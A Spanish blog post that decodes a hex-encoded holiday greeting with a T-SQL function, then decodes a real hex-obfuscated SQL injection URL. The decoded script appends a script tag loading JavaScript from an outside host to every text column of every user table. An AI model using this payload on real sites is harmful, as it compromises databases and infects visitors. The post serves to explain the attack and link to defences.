Estaba actualizándome con los post de Geeks.ms leyendo desde mi lector RSS, y di con el regalo para Rodrigo Corral:
Dada una cadena hexadecimal un mensaje de felicidades (mm habría que ver o es un listado de receta de comida para fin de año je!)
La cadena:
%46%65%6C%69%63%65%73%20%46%69%65%73%74%61%73%2C%20%63%61%63%68%6F%20%66%72%69%6B%69%21%20%41%68%6F%72%61%2C%20%64%65%6A%61%74%65%20%64%65%20%74%6F%6E%74%65%72%69%61%73%20%79%20%76%65%74%65%20%61%20%65%6D%62%6F%72%72%61%63%68%61%72%74%65%20%75%6E%20%70%6F%71%75%69%6E%21%21%20%4B%65%65%70%20%52%6F%63%6B%69%6E%27%21%21
S bien esto es muy friki (al igual que el titulo de este post) como bien lo dice el mismo, recordé un post anterior post anterior:
- Gracias señores (*!@#$%!!) por intentar hackear mi sitio… me han enseñado mucho sobre SharePoint (por Gustavo Velez)
Donde gracias a este tipo de cadenas un atacante puede utilizar SQLInjection, así que veremos como es la idea… con esto de jugar en hexadecimal
Decifrando el mensaje navideño…
Rodrigo nos invita a descifrarlo… asi que utilizo una función del SQL SERVER o sea con TS-SQL
Para ejecutar la función:
SELECT CONVERT(VARCHAR,dbo.[HexaToString]('%46%65%6C%69%63%65%73%20%46%69%65%73' + '%74%61%73%2C%20%63%61%63%68%6F%20%66' + '%72%69%6B%69%21%20%41%68%6F%72%61%2C' + '%20%64%65%6A%61%74%65%20%64%65%20%74' + '%6F%6E%74%65%72%69%61%73%20%79%20%76' + '%65%74%65%20%61%20%65%6D%62%6F%72%72' + '%61%63%68%61%72%74%65%20%75%6E%20%70' + '%6F%71%75%69%6E%21%21%20%4B%65%65%70' + '%20%52%6F%63%6B%69%6E%27%21%21'))
También hice unas modificaciones para que funcione de esta forma
SELECT CONVERT(VARCHAR,dbo.[HexaToString]('46656C6963657320466965737461732C20636163686F206672696B69212041686F72612C2064656A61746520646520746F6E74657269617320792076657465206120656D626F72726163686172746520756E20706F7175696E2121204B65657020526F636B696E272121'))
Aquí esta el script de función que nos da el resultado de pasar lo que estaba en hexadecimal a algo entendible 🙂
CREATE FUNCTION [dbo].[HexaToString]( @cadenaHexadecimal varchar(max) )RETURNS varbinary(max) AS BEGIN DECLARE @itemHexa AS varchar(2) DECLARE @posicion AS int DECLARE @contador AS int DECLARE @resultado AS varbinary(max) DECLARE @caracteres AS int SET @contador = LEN(@cadenaHexadecimal) SET @resultado = CAST('' AS varbinary(1)) SET @caracteres = 0 IF ((SELECT CHARINDEX('%', @cadenaHexadecimal)) > 0) SET @caracteres = 1 IF SUBSTRING(@cadenaHexadecimal, 1, 2) = '0x' SET @posicion = 3 + @caracteres ELSE SET @posicion = 1 + @caracteres WHILE (@posicion <= @contador) BEGIN SET @itemHexa = substring(@cadenaHexadecimal, @posicion, 2) SET @resultado = @resultado + CAST(CASE WHEN SUBSTRING(@itemHexa, 1, 1) like '[0-9]' THEN CAST(SUBSTRING(@itemHexa, 1, 1) as int) ELSE CAST(ASCII(UPPER(SUBSTRING(@itemHexa, 1, 1)))-55 AS int) END * 16 + CASE WHEN SUBSTRING(@itemHexa, 2, 1) like '[0-9]' THEN CAST(SUBSTRING(@itemHexa, 2, 1) as int) ELSE CAST(ASCII(UPPER(SUBSTRING(@itemHexa, 2, 1)))-55 AS int) END AS BINARY(1)) SET @posicion = @posicion + 2 + @caracteres END RETURN @resultado END
Yo ataco, tu atacas, el ataca…?
Bueno como decía hace un par de meses algunos eran de este estilo…
http://www.midominio.com/pagina.aspx?algunid=666;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C4152452040542056415243
48415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F52205345
4C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69
643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78
747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20
5461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E204558454328
27555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B
272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E75706461746533342E636F6D2F622E6A733E3C2F73637269
70743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53452054
61626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));PRINT(@S);--
Aquí la ultima parte en el script es:
EXEC(@S);--
En vez de:
PRINT(@S);--
(gracias a Pablo Hawkes que se percato que “por las dudas” coloque lo menos intrusivo posible el script je)
El resultado de esto es:
DECLARE @T VARCHAR(255), @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.update34.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Mas info en el articulo de Gustavo
- Gracias señores (*!@#$%!!) por intentar hackear mi sitio… me han enseñado mucho sobre SharePoint (por Gustavo Velez)
Y como estamos con esto de SQLInjection, dejo unos articulo en Geeks.ms (con buenos enlaces)
- Tips de SQL Injection : How to (por Romny Duarte)
- SQL Injection "Complemento" (por Romny Duarte)
- Protegerse de las inyecciones SQL por URL (por Rodrigo Corral)
Mas enlaces
- SQL Injection Cheat Sheet :: Hex based SQL Injection Samples….
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#HexbasedSamples - ASCII Encoded/Binary String Automated SQL Injection Attack
http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx